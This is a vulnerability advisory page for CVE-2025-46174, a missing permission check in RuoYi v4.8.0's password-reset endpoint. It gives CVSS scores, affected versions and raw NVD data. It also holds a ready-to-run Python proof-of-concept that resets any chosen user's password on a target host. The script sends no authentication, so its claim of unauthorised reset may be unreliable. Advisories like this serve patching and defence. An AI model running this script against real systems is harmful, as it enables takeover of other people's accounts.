Security Vulnerability Report
中文
CVE-2025-46174 CVSS 7.5 HIGH

CVE-2025-46174

Published: 2025-11-26 16:15:48
Last Modified: 2025-12-04 19:16:04

Description

Ruoyi v4.8.0 vulnerable to Incorrect Access Control. There is a missing checkUserDataScope permission check in the resetPwd Method of SysUserController.java.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ruoyi:ruoyi:4.8.0:*:*:*:*:*:*:* - VULNERABLE
RuoYi < 4.8.0 (受影响版本)
RuoYi v4.8.0 (确认受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-46174 PoC - Ruoyi v4.8.0 resetPwd Unauthorized Password Reset # Target: RuoYi v4.8.0 with missing checkUserDataScope permission check TARGET_URL = "http://target-host/" # Replace with target URL TARGET_USER_ID = 1 # Target user ID to reset password NEW_PASSWORD = "P@ssw0rd123!" # New password for target user def exploit_resetpwd(): """ Exploit the missing checkUserDataScope permission check in resetPwd method This allows unauthorized password reset of any user in the system """ endpoint = f"{TARGET_URL}system/user/resetPwd" # Payload to reset password for target user payload = { "userId": TARGET_USER_ID, "password": NEW_PASSWORD } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Send unauthorized password reset request response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('code') == 200: print(f"[+] SUCCESS: Password reset for user ID {TARGET_USER_ID}") print(f"[+] New password: {NEW_PASSWORD}") return True else: print(f"[-] FAILED: {result.get('msg')}") return False else: print(f"[-] FAILED: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-46174 PoC - Ruoyi resetPwd Unauthorized Access") exploit_resetpwd()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46174", "sourceIdentifier": "[email protected]", "published": "2025-11-26T16:15:47.813", "lastModified": "2025-12-04T19:16:03.973", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ruoyi v4.8.0 vulnerable to Incorrect Access Control. There is a missing checkUserDataScope permission check in the resetPwd Method of SysUserController.java."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "1248589F-5F63-4535-B2C9-EBBA85EA6D83"}]}]}], "references": [{"url": "https://gist.github.com/Han-tj/29543ce0dae8cbb3bcbedca3390844a9", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/y_project/RuoYi/commit/ea4af7a8cf54393b11d3d286e0aaeb3df8a9aaef", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://gitee.com/y_project/RuoYi/issues/IC1JZR", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}